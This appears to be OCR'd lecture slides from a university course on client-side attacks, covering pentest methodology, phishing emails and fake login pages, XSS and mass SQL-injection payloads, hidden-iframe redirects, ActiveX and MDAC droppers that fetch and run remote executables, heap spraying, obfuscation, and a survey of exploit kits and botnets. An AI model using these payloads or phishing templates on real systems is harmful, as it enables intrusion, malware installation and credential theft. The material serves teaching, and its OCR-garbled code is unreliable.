Dean De Beer — Fall 2010

CLIENT SIDE
ATTACKS




Review

Source Audits — open/closed source
Fuzzing
Exploitation

How do we use this?
Historically — remotes, open ports, etc..

Today — we target a different attack
surface.



Why Client Side Attacks?

g



Better Controls

Dedicated Security Teams
Network Separation
o Internal vs. External vs. DMZ

Hardened Server Builds

IDS/IPS
Security Event Monitoring & Alerting

Software security is improving (?)



So Now What?

Who has ‘unrestricted ‘access to the
iInternal network anytime?



User Environment

Far more complex than publicly available
servers.

Yet less protected
Hard to fingerprint - no direct access

Has legitimate (usually persistent) access
to the network’s critical assets.

Is a on the network.
Browse file shares, run net commands, etc...

Domain users can do more than local accounts
and SYSTEM.

Connects to the Internet from within the
Internal network.



User Environment cont...

Combination of tools, 3rd party
applications or in-house software.

Different software companies with differing
attitudes towards security and updates.

Patching policies, if any, vary

Companies generally don't patch random 3rd
party applications.



ide Methodology



Client Side Methodology

Scanning
Fingerprinting/Enumeration

Reporting



Methodology Cont...

Information Gathering
® Personal data — emails, etc...
® Company data — departments, etc...

Develop Attack Vector
® Emall
® Website

Send attack and...



Scenarios

Target specific employees

Email carrying malicious document or by pointing the
victim to a malicious Web site. Exploit Required.

Large-scale client-side infection campaigns

Rely on victims to visit compromised Web sites that
deliver client-side exploits, possibly through
malicious banner ads.



Scenarios Cont...

How do you determine what scenario to use?

What is the theme?
How will it be delivered?

Target selection

Select who you want to target
Arrange targets into groups — Department, etc...

Customize attacks

Message should appeal to the target group
Message must bypass Spam/Content/AV Filters

Deploy required servers

Web
emalill



Delivery

Emalil
Click link, open attachment, enter credentials

Web

Browser exploits

Vulnerable ActiveX controls

XSS a user to your vulnerable page
Write access to a web server/application

Download & run exe
o No Exploit Required - JavaScript is your friend ©



Attachments

Open my attachment please ©

Office Attachments are a common and great
attack vector.

Typically bypass perimeter security
Do you block office extensions?

Difficult to detect

Can AV scan and analyze a macro or an
overflow in what appears to be a well formatted
document?



This is a one-time identity verification process priortp
proceeding to the Complaincy Awareness and Training

wehsite. This is a necessary step as the following pages
contain detailed confidential information.

Please enter your Username and Password that you would
normally use to login to your workstation.

Username: |
Password: |

Address Not Found

Fir can't find the server at www, zerc Slutions. co,

The browser could not find the host server for the provided address,

you make a mistake when typing the domain? (e.g. “ww.mozilla.org®
d of "wwewr. rnozilla.org”)

ou certain this domain addres:



WatchGuard

FI rebox S S L ot CITRIX Socuro Accoss

@ This provides full access to applications and resources in the corporate network
® My own computer  1fy,y are having problems connecting, click here to install SSL VPN Client.

Username:

Password:

Opening CitrixSAClient.exe

You have chosen to open
= | CitrixSAClient.exe

which is a: Binary File
from: |http://98.14.243.62

If you are having problems and need support contact your system adm

Would you like to save this file?

[ Save File ] L Cancel




mn MicrosoftOffice
_3.0utlook Web Access

Provided by Microsoft Exchange Server 2003




I.«"'_,;\. [ @ F _ Compliance - Training and Education Program. - Message (HTML)
]

—/ Message Adobe PDF

DA KDAGDP peww B O 2 g

Reply Reply Forward | Delete Moveto Create Other Block Mot Junk Categarize Follow Mark as 5end to
to All Folder= Rule Actions~ || Sender — - Up~ Unread || ki Select~ Onellote

Respond Actions Junk E-mail ] Cptions ] Find CneMote

To: ean @zerodaysolutions.com

Co
Subject: _-Jmpliance -Training and Education Program.

] Message | T training_revision.pdf (3 KB}

Due to the current volatility of the the financial industry we are implementing compliancy awareness and training programs covering the
various regulations and acts pertinent to our industry. Please take some time to review the attached Adobe Acrobat document that
contains times, dates and locations of upcoming classes. If you have anv questions please don't hesitate to respond to this email.

Additionally, a website has been developed that will allow wou to register for a program online. Please bookmarl this website as we will
be adding additional times and dates over the next few weeks.

The following link will take vou to the registration login page: m

Thank You,

Comporate Compliance

124-127 St. Stephen's Green
Dublin 2




SO0 Hurman Resources Benefits Update — Inbox

I.' - ".I I." - i ".I I." - ".I I."
% | | T B, L r I LT L' |

Celete Junk Reply Reply all Forward Print

From: Human Resources <
Subject: Human Resources Benefits Update
Date: October 30, 2008 12:16:12 AMEDT
To:
Reply-To: Human Resources <deandebeer@gmail.com=>

Dear dean:

We are asking aII_ Employees to verify and update their personal
information, including mailing addresses and telephone numbers. This helps to ensure that we
communicate efficiently with you about important Human Resources matters, including benefits
and retirement.

Please take this moment to click on the link below to connect to the Human Resources Benefits
Management system to confirm that your personal information is up to date:

lersonall

Please also take this opportunity to review other personal data on the Summary page, including
your gender, birthdate and marital status; if any of these are incorrect, please contact your HR
Manager so that they can update your record. Thank you for helping us keep your information
current.

Sincerely,

Human Besources
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What about that link?

Wildcard DNS is your friend — TinyURL, etc..
*.dzro.net is mine. Try It.

http://dept.company.com.

& Element Properties | S

Link Properties

Address: http://benefits | com.dzro.net/phish_ng/page.php?t
Will cpenin: New tab

19



More Delivery Vectors -
XSS

http://isis.poly.edu/index.php?page=5"'><script>
</script>&people=0.2&person=1058

http://www.poly.edu/calendar/main.php?view=event%3CsCr
IpT%3E %3C%2fsCripT%3E&e

ventid=111 )

Redirect to attacker site — Hosts exploit/login page
Persistent XSS is better — why?

Steal Cookies, Session ID’s

XSS Shell



SQL Injection ??

:‘DECLARE%20@S%20CHAR(4000);SET
@S=CAST(0x4445434¢c415245204054207661726368617228323535292c40432076617
2636861722832353529204445434¢415245205461626c655f4375727367220435552534
f5220464f522053454c45435420612e6e616d652c622e6e616d652046524f4d207379736f
626a6563747320612c737973636f6c756d6€73206220574845524520612e69643d622€6
96420414e4420612e78747970653d27752720414e442028622e7874797065203d39392
04f5220622e7874797065203d3335204f5220622e7874797065203d323331204f5220622
e7874797065203d31363729204f50454e205461626c655f437572736f722046455443482
04e4558542046524f4d205461626c655f437572736f7220494e544f2040542¢4043205748
494c452028404046455443485f5354415455533d302920424547494e204558454328277
57064617465205b272b40542b275d20736574205b272b40432b275d3d6c656674282063
6f6e7665727428766172636861722838303030292c205b272b40432b275d292c6c656€2
8636f6e7665727428766172636861722838303030292¢5b272b40432b275d2929202d20
3620201320706174696€646578282727257470697263733c2527272c726576657273652
8636f6e7665727428766172636861722838303030292c5b272b40432b275d2929292920
7768657265205b272b40432b275d206c696b652027273c736372697074253c2f7363726
970743e27272729204645544348204e4558542046524f4d205461626c655f437572736f7
220494e544f2040542c404320454e4420434¢4f5345205461626c655f437572736f722044
A5414c4c4f43415445205461626c655f437572736f72%20AS%20CHAR(8000
));EXEC(@S)—
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SQL Injection !

DECLARE @T varchar(255),@C varchar(4000)
DECLARE Table Cursor CURSOR FOR select
a.name,b.name from sysobjects a,syscolumns b where
a.ld=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35
or b.xtype=231 or b.xtype=167) OPEN Table Cursor
FETCH NEXT FROM Table Cursor INTO @T,@C
WHILE(@ @FETCH_STATUS=0) BEGIN exec(‘update
[+@T+'] set [+@C+'|=[+@C+']+""></title

<I--" where
'+@C+' not like "%"></title

<l--

"YFETCH NEXT FROM Table Cursor INTO @T,@C
END CLOSE Table Cursor DEALLOCATE
Table Cursor



A Few More...

IFrames

document.write('<iframe style=display:none
src="http://www.evilsite.com/file.htm"></iframe>’)

BODY onLoad
<BODY onLoad=“open(‘http://evilsite.com’)’>

Meta refresh
<meta http-equiv="refresh" content="3;url=http://evilsite.com">

HTTP Headers

header('Content-type: application/pdf');
header('Content-Disposition: inline;filename="evil.pdf");

header("Content-Transfer-Encoding: binary");

MITM

Ettercap
Cain & Abel
Karma / Karmetasploit



If ($payload == "exe") {
$file = "java.exe";
$size = filesize($filename);
$fp = fopen($filename, "r");
$source = fread($fp, $size);
fclose($fp);

header("Accept-Ranges: bytes\r\n");
header("Content-Length: ".$size."\r\n");

header("\r\n");

header("Content-Type: application/octet-stream\r\n\r\n*);
echo $source;



VEREREINRER]




Scope aka Limitations

Gather Metrics only
Who clicked the link? When?
Was and ‘exe’ downloaded?

Data Gathering (no exploitation)
Username/password or metrics
Host information — IP, Plugins, browser,etc...

Gain Access
Are Exploits allowed?
Drop ‘flag’, get screenshot
Pivoting (?)



function ipCheck($target_ip) {
$scopelPflag = 0;

if ((preg_match("/$firstRange/",$target_ip,
$matches)) || (preg_match("/$sndRange/",$target_ip,
$matches))) {
$scopelPflag = 1;
}
else {
$scopelPflag = O;
}

return $scopelPflag;

}



Tracking Users

How do you track what the user did?
Log everything
Timestamps

Tag emails, attachments, efc...
o PagelD = {PAGE #}

o UserID = {MD5}

o ExelD = {exe|pdf|other}

Data Harvesting....



Java

function local_info() {

try {

window.onerror=null;

var sock = new java.net.Socket();
sock.bind(new java.net.InetSocketAddress('0.0.0.0', 0));

sock.connect(new
java.net.InetSocketAddress(document.domain,(!document.location.port)?80:

document.location.port));
document.forms|0].local_ip.value = sock.getLocalAddress().getHostAddress();
document.forms[0].hostname.value = sock.getLocalAddress().getHostName();

for (var index = 0; index < navigator.plugins.length; index++)

document.forms[0].plugins.value = document.forms[0].plugins.value
+navigator.plugins[index].name + "; ";

} catch (e) {}

A



PHP

PHP Global Variables

$fields['Remote IP'] =$ SERVER['REMOTE_ADDRY;
$fields['Remote Host'] =$ SERVER['REMOTE_HOSTT;
$fields['Remote Port'] =$ SERVER['REMOTE_PORTY;
$fields['User Agent'] =$ SERVER[HTTP_USER_AGENTY;
$fields['Referrer] =$ SERVER[HTTP_REFERERY;
$fields['Cookie'] = $ GET['cookie;

Make sure your server is not NAT'd



ActiveX Controls

var ver = null;

try {
ver = new ActiveXObject("AcroPDF.PDF"),
}

catch (e){
}
If (Iver) {
try {
ver = new ActiveXObject("PDF.PdfCtrl");

}
catch (e){

}
}



WMI Scripting — Processes

var processes = [];
a = s.ExecQuery(" ");
e = new Enumerator(a);
var d;
for (; le.atEnd();e.moveNext()) {
d=",
X = e.item();
if (x.Caption) {
d = x.Caption;
}
if (x.CommandLine) {
d=d+ "'+ x.CommandLine + '<br>"

}

processes[processes.length] = d;



JavaScript — Popup
allowed?

function popupsAllowed() {
var allowed = false;

var w = window.open ("about:blank”,"","directories=
no,height=1,width=1,menubar=no,resizable=no,scrollbars
=no,status=no,titlebar=no,left=0,top=0,location=n0");
if (w) {

allowed = true;

w.close();

}

return allowed:



JavaScript — Navigator
Object

navigator.userAgent = Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; ...
navigator.platform = Win32
navigator.appCodeName = Mozilla
navigator.appName = Netscape
navigator.appVersion = 5.0 (Windows; en-US)
navigator.language = en-US
navigator.mimeTypes = [object MimeTypeArray]
navigator.oscpu = Windows NT 5.2
navigator.product = Gecko
navigator.productSub = 2009101601
navigator.plugins = [object PluginArray]
navigator.securityPolicy =
navigator.cookieEnabled = true
navigator.onLine = true

navigator.buildiD = 2009101601






Which exploit please...

$user_agent = getenv("HTTP_USER_AGENT");

if (eregi("(msie) ([0-9]{1,2})", $user_agent, $ver)) {
$browser = "MSIE";
$version = $ver[2];

}

elseif (strstr($user_agent, "Firefox")) {
$browser = "Firefox";

}



function check_version() {
var s;
var Sys = {};
var OSVersion = navigator.userAgent.toLowerCase();
s=0SVersion .match(/windows nt ([\d.]+)/)[1]

var I[EVersion = navigator.userAgent.toLowerCase();

if( ) {
if (document.getBoxObjectFor) {
Sys.firefox = IEVersion .match(/firefox\/([\d.]+)/)[1];

}
if (window.ActiveXObject) {

Sys.ie = IEVersion .match(/msie ([\d.]+))[1];
if (Sys.ie==6.0||Sys.ie==7.0)
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ActiveX & Browser Exploits

<html>

<object classid='cIsid:FOE42D50-368C-11D0-AD81-
O00OAO0C90DC8D9' id="fun'></object>

<script language='vbscript'>
fun.SnapshotPath = "http://xx.xxx.xxx.xxx/evil.exe"

fun.CompressedPath = "C:/Documents and Settings/All
Users/Start menu/programs/startup/notsoevil.exe"

fun.PrintSnapshot()
</script>
</html|>



The Classics:
MDAC/RDS aka ms06-040

function dropper() {

var X = document.createElement(‘object’);
x.setAttribute('id','x’);
x.setAttribute(‘classid','clsid: Y
try {

var obj = x.CreateObject(' "
var app = x.CreateObject(' "
var str = x.CreateObject(' ")

try {

str.type =1,

obj.open('GET",' " false);
obj.send();

str.open();

str.Write(obj.responseBody);

var path =

str.SaveToFile(path,2);

str.Close();

} catch(e) {}

try {

app.shellexecute(path);

}etc....

Works on IE 6 & 7 (with interaction)



Fileformat Exploits

var payload = unescape("shellcode");

var nop =",

for (ICnt=128;iCnt>=0;--iCnt) nop += unescape('%u9090%u9090%u9090%u9090%u9090");
heapblock = nop + payload,;

bigblock = unescape("%u9090%u9090");

headersize = 20;

spray = headersize+heapblock.length

while (bigblock.length<spray) bigblock+=bigblock;

fillblock = bigblock.substring(0, spray);

block = bigblock.substring(0, bigblock.length-spray);
while(block.length+spray < 0x40000) block = block+block+fillblock;
mem = new Array();

for (i=0;i<1400;i++) mem[i] = block + heapblock;

var num = 129999999999999999998888...snip

Client Side Attacks - NYU Polytechnic - Fall 2009
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Obfuscation & Encryption

IDS/IPS evasion

Code obfuscation

o unescape(), String.fromCharCode()
o arguments.callee(), eval()

o String Splitting

o Whitespace

o String Randomization

o XOR

eval(unescape(var.replace(/[stuff]/g,%u)));
eval(gzinflate(base64 decode());



So what does all this tell us?

Significant increase in the prevalence and
criticality of client-side vulnerabilities

A “shift” towards finding vulnerabilities in client-
side software

8 categories in SANS Top 20 report relate
directly to client-side vulnerabilities
High profile incidents taking advantage of
vulnerabilities in client-side software



I EREEUIWARS

Client-side attacks are how people get ‘in’

Its’ becoming critical to test for
susceptibility and response to client sides
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Malware

Attackers like love low hanging fruit

Why?
Broad ‘unaware’ target user group
Risk vs. Return
It's really ‘easy’
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What do all these products have in common?




So why go to all this
trouble?

Bots, botnets & more bots!
Phishing
Spamming
Denial of service attacks

Data harvesting/keylogging
o Banking information / Credit cards
o Username/passwords

Malware hosting/distribution sites



It's all the same thing...

A \ET(E
Spyware
Rogueware
Ransomware
Scareware
VEWEE

CRIMEWARE



A Few Stats...

of Web sites with malicious code are
legitimate sites that have been compromised.

of the top 100 most popular Web
sites have either hosted or been involved In
malicious actvity.

of Web sites infected with malicious
code were created using Web malware
exploitation Kits.




Top 10 Web Attack Vectors

4. SQL injection
6. Content management systems (CMS) vulnerabilities

8. Malicious Web 2.0 components (e.g. facebook
applications, 3rd-party widgets/gadgets, banner ads)

10. DNS cache poisoning

Don’t forget Email, IM/p2p & Fileformat bugs



Would you visit these...

myzonedom.ru
hfju38djfhjdi3kd.cn
lelayre.cn
validating.ru
srvfarino.co.cr
35465543.com
nenastiya.cn
spaider.no-ip.biz
ddoser.selfip.org
cr4zylOv3.no-ip.biz



What about this site?

) The New York Times - Breaking News, World News & Multimedia - Mozilla Firefox

Fle Edit Yiew History Bookmarks Tools Help

@ (a1 | & | http:fpwww.nytimes.comf

L] fphishing_ki.. | & TheN... €3 | [# advertise| .. | | WaFs.pna (..

E Bookmarks Toolbar
Bookmarks Menu
* Unsorted Bookmarks.
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On Multiple Occasions...

3'd Party Banner Ad infected NYTimes
viewers

Malicious iframe
tradenton.com/?id=21610438 | Sy it

Fake Antivirus

System scan progress.

rsonal Antrenes

System Tashs

J' Srared Documents | My Documents

s Liscal (Disk (1) Tpects soarved
"’] o : Thresss found
Bapued trre

* ] ovo-aam Drive (E2)

TITITITTITIITIITITIT 10

Now scamning: aubscany.exe
.
Trenats and actiors:

Name

o Email-Worm. Wind2.Net

W Email-Worm WindZMyd  Cotical

D
o1 your Systerm, Trojun. Dowalasder meslag phsmwieds, (ot el 30 phes
ter
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The actual code...

<html><body style="margin:0; padding:0;">

<script type="text/javascript">

var rightNow = new Date();

var datel = new Date(rightNow.getFullYear(), O, 1, 0, 0, 0, 0);

var temp = datel.toGMTString();

var date3 = new Date(temp.substring(0, temp.lastindexOf(" *)-1));
var hoursDiffStdTime = (datel - date3) / (1000 * 60 * 60);

tz_crt = hoursDiffStdTime;

document.write(unescape("%3Ca href="http://www.bulgari.com/main.php?lang=6/ref=680'
target="_blank'%3E%3Cimg src="http://harlingens.com/bdb/-MISC/bulgari_300x250.gif' border='0'
%3E%3C/a%3E"));

var al = "http://sex-and-";

var a2 = "the-city.cn/go.php?i";

var a3 = "d=2006-63&key=0522c7066&p=1";
var action URL =al + a2 + a3;

var cur_domain = "harlingens.com”;

eval(unescape('%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28% 75%6E%65%73%63%61%70
%065%28%22%25%33%43%73%63%72%69%70%74%20%73%72%63%3D%27%68%74%74% /0%3A%2F%2F%
22%20%2B%20%63%75% 72%5F%64%6F%6D%61%69%6E %20%2B%20%22%2F%69%6E%63%6C%75%64%6
5%73%30%32%2E%6A%73%27%20%74% /9% 70%65%3D%27%74%65% 78% 74%2F%6A%61%76%61% 73%63
%72%69%70%74%27%25%33%45%25%33%43%2F%73%63%72%69%70%74%25%33%45%22%29%29%3B"));

</script></body></html>
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an | have your money please?

Choose your subscription type:

60% discount!

Credit Card information

Credit Card Type £ )

Card Number

Expiration Date — |- -

C¥¥2 Number
First Name

Last Name

Continue unprotected

Contact Information
Email ID

Country

State

Address

City

Zip Code

Telephone

already ha

tion Code

@

1otal

antywiruslistsite.com
antyspywareliststore.com
an-ty-spyware-sell.com
freeantyspywarelist.com

etc...



our bank detaills too...

A Chase Personal Banking Investments Credit Cards S5tudent Loans Home Auto Commercial Small Busine - Microsoft Internet Explorer

Access your accy

Get a Us¢ CHASE “"

GO
de

Credit or Debit Card Humber Expiration Date

w|f v
Credit or Debit Card PIN Card Identification Number
[ Zip Code

eyt e DRIVE HOME W1} "'
— ; SAVINGS), ~
POt AT € Al e 1 Wl UP TO .75%

IATES FOR



Any bank will do.

A Bank of America | Home | Personal - Microsoft Internet Explorer.

File  Edit

v Bc n

In . En Espanol

Search

PERSONAL ~

| ]

Online Banking

Enroll

Bank of America welcomes former
Countrywide customers. Your
accounts are all available in Online
Banking. Sign in on this page using ATM or Checl Card Number Expiration Date
your Username. K

| f w
ATM or Check Card PIN Card Identification Number

[ 1]

Zip Code

Forgot ar need help with your ID7

Rezet Pazzcode Auto Loans

Insur

Your Privacy & Security

More Options »

ATMs & Banking Centers | Ssmea With Oaline Rl ||| Claritvis [ Add 1§ lin™-




It really Is all about money...

usa full infos

whd ~c'e with full info(USA only )***
*** Frach and valid stuff ***

Format of cc with full info:

*Full name

*Billing address

*CC number

*Exp. date

vy

*Atm pin

*Mother maiden name
*Social Securitty Number
*Date of birth

*IP address

*Host name

*E-mail address(some with e-mail acces too)

Price: 15%/ cc with full info

FORGET Russians, Romanians, Chinese, Malaysian,
etc. Deal with the PROS.

I’ve got big, VERY FRESH databases of skimmed dumps
(org track 1 and 2). In business over 6 years. Will
replace failures, no problem.

Min order FIVE of any type.

--- USA---

MasterCard, Visa Classic -$20

Visa Gold/Platinum/Corporate/Signature/Business -$40
American Express -$30

---CANADA---
MasterCard, Visa Classic -$20
Visa Gold/Platinum/Corporate/Signature/Business -$40

--—-EU---
MasterCard, Visa Classic -$70
Visa Gold/Platinum/Corporate/Signature/Business -$100

---ASIA---
Visa Gold/Platinum/Corporate/Business -$100



Affiliate Programs




Money Mule Recruitment Sites

Augment Group In¢

Synapse Group Inc

ABOUTTHE COMPANY

|

WONE | ABOUTTECOMMWY  PRGECTS  AWMVICS | LS | comAcTs

About the Company Authorztion

st projects

Our

P —

A Impact Group Inc

How site works?

1. Post and track yo ancies, RFPs and projects
2. Find able fr 5 o full-time staff
3. Get work done below budget and make profit

&

Mome  AboutheCompem  Proects | Ansics | Unks  ComtaciUs

About the Company

the business workd s more What We Do Senvices Overview About us
R -
- - csspommns
= vecow About the Company Authorization
W e it e o S Enter to parners area
™
R o p— anszenaing .
¥ USG5 Become T "By GarauAr Sirateqy for i IO CONSCIOUS OrGANZABaNS that oo
b o a ¥ me business :
= e pere o WOk 5 S COMpEBVE Tan what 1 was in e past. There 1s @ rowg Feaiztion tat e
st o v e suppiement
o — o
a Latest projects
Z el
= [ — on strategec
T gy woctons
Ourbusiess madel wi help buyers 5 taert o dere mamum Our service

horter debuery schaduses, hoh qualt [



Exploit Kits & a SAAS
Model

) Admin-Panel - Mozilla Firefox

dain  [psEka  BMA  HOPHEN  3aKnageM MHOTRMERTE  Crpaeka

& - H @ http:/itestq.ru 2,0 fadminfindsx, php * - ol P Seorch
B Cavue nomnapree (5 Hadanenad cpamua B Nlenra HosocTen
@ Admin-Panel +

5

® Cratvcruka

® 3arpyska

CTaTHETHKS Inaenaa

9

YES Exploit System

CTaTdcTika

CTRaHEl

e

Bpayzapel

CHCTeMel

® npasuna

MpoaasLbI

? noon |

Ypamte -

HTE

¢ IpoAsElE!

Mpasvna

HatTRofKH. . ® Mpasing

& Crathenica

Jarpyaka
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Point & Click Exploitation

ann"s Statistics | Files | Sellers | Traffic links | Preferences | Logout

Total statistics:
£ Add seller

Uploading file: Random file -
Hosts: 114

Exploits: mdac
S
Frags: 26 B nct
Percentage: 22.81% aolwinamp

pdf

swi
directshow
ms0%002
snapshot
com
spreadsheet

W wi

Add

Sellers list:

Seller name Uploading file Exploits Hosts Frags Percentage

B @©

Fragus v1.0 Powered by Fragus
Sales:  99-68-78
Support: 99-69-78



They have stats too...

-

ann“s Statistics | Files | Sellers | Traffic links | Preferences | Logout

tatistics][control]

lobal]  [Downloaded files][Time statisti

Total statistics:

Show statistic for Summary data ~

W Ajax autoreload
Browsers

Hosts: 70 " Hosts  Frags
Al

Frags: 16 = Frags

Percentage:
unri \ v ¥ 0 Countries order b

Country

Operating systems Country

: Frags
o SR et s BN Eraes ARercont
= Frags a5

Country Rating

o5

rina

1
0
0
0
0
0

X LR N

Countries

r 1l

Frags Percent
Al et e
= Frags

Exploits.

Frags Feedbacks
mdac 3

Frags
= Feedback
pdf

3
aolwinamp 2
directshow 0 0
ms09002 0

Fragus v1.0 Powered by Fragus
Sales:  99-68-78
Support: 99-69-78



Anyone can do Iit...

--[ BlackEnergy DDoS Bot ]--

(in minukes)

BlackEnergy OO

Execute after | 30 minutes (0 - execute immediatly)

ICMP Sizes

VM Freq:

HTTP Freq: (1000
HTTP Threads:
TCRIIDP Freq:

DP Size:

sinlnln]

10

1000

1000

: | o {1-0CN; 0-CFf

I DD 3 Builder

DreamDownloader v

() DrearnCoders Tearn, 20

v Llse packer

1
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Command & Control

The Interface between the bot herder
and the botnet

Communication channels

RC

Peer-to-Peer (p2p)

HTTP — Blogs, Twitter, News Groups
Peer-to-Peer over HTTP

IP Address vs. Domain (FastFlux DNS)




Central Control

STATISTICS SEARCH ROUTINES BotNet COMFIGURER SETTINGS IPZLOCATION SOCKS LOGOUT

Bothet COMFIGURER

PROCEED

IEFaker links and locations

[#] Link that will start FAKE Link to FAKE file




entral Updates

Select Land (Multi Load) Insart ComplD (Single load)
| All | All countries -
Count to Install

e | [ sum. Search BOT
by ComplD
Url's to load (Example) |7 Don't kill loader after job |

by IP Ext
http://some.com/1.exe Linttp://go.com/malware.exe Eihttp:/kuxi.net/download... Results per pag

should to press ‘Enter’ to Search

make new line saparate. it's
necessary.

Add to tasks

Select Results

Add Land . Count tota : Bot Ver. ComplD
4=
4=
=
4=
4=
+m
4=
4=
4=
=
4=
-
+m
Tasks +-
Land Bot's count Installed  Toinstall Url's one +-
11160 8411 *-unlim. hitpsiwww ekttt o . - Delete t +-
m
4=
4=
+m
4=




Spamming Made Easy

cs] [control] [help] ZUnker Panel v1.4.5b [LOG OUT]

[Loader] Zupacha
[Control] [Template Editor]

Zupacha I::'il‘ Template Editor

In diesem selbstentpackenden Archiv finden Sie die Fotos von unseren
erfolgreichen Mitarbeitern http://www . oimiakmtomsmbimiiimsiliin . c o

WEEB Forums

r WEB M:




Targeting Countries

Country

Country

erma

Ratin

gl

a

Country Rating
| Germany
Il Fussia

== Linited

m

m =
=

E.
-
s

orts: 838750




Resilience - Fastflux

1 domain = many IP Addresses
Round-robin IP Address pool
Short TTL
Proxy nodes

Load distribution
Health checks for nodes
o Content availability always maintained

Leqit technique
o H/A & Load balancing



Single-Flux

“bullet-proof” hosted
DNS server ~.

ns.example.com

/' i
4) Answer!
10.10.10.10
3) Query:
flux.example.com
COIm
2) Referral;
ns.example.com

1) Query:
flux.example.com

"\u..h_h-__-

client

Double-Flux 4 query
redirected &
Respoanse
eturn ed

mﬂthershlp ;‘-'T ombie
nme

ns.example.com

/' 1

5) Answer:
10.10.10.10
3) Query:

flux.example.com

Cﬂm
2) Referral;
ns.example.com

1) Query:
flux. example com

client

DNS Resolution Comparison




93.105.48.0/22
NET

93.105.49.223 ——FTR g (03105049223 krovectr

82.74.86.6

/

nsljustchristmasgift.com

ns2 justchristmasgift.com — A e 241323740

justchristmasgiftcom

ns3justchristmasgift.com "4’ 71140481180

ppp-71-140-91-180.dslfrs2ca.pachell.net
ns4.justchristmasgift.com

\L\* 71.10.230.45

- 71102240020 ————— 55 g AS20115

ns5 justchristmasgift.com
71-10-230-45.dhcp.oxfrma.chartercom

ns6 justchristmasgift.com NET

130.88.123.173

umapcl?3.ma.umistac.uk

- 130.88.0.0/16 —————55 g ASES4S

76.11.117.249 P 761196019 — A5 g 2511260

blk-11-117-249 eastlink.ca




TTL

DjVu ActiveX Control ImageURL Property
Overflow

www.milwOrm.com/exploits/6878

Malware

www.wackystone.com/counter/Djvu.htm



Comments

Client side attacks will continue to grow and
develop

Client side pentesting Is very different to
traditional network pentesting

A successful client side attack can quickly
lead to access of critical assets



Homework

What intel would you gather and why?

Create a webpage to detect browser version, 3rd party apps,
CLASSIDs, etc...

Consider cross browser functionality
Deliver a unique page based on Browser/OS

Things to consider:

o Obfuscation

o Tracking of exploits

o MSF vs. standalone? Why have a standalone?



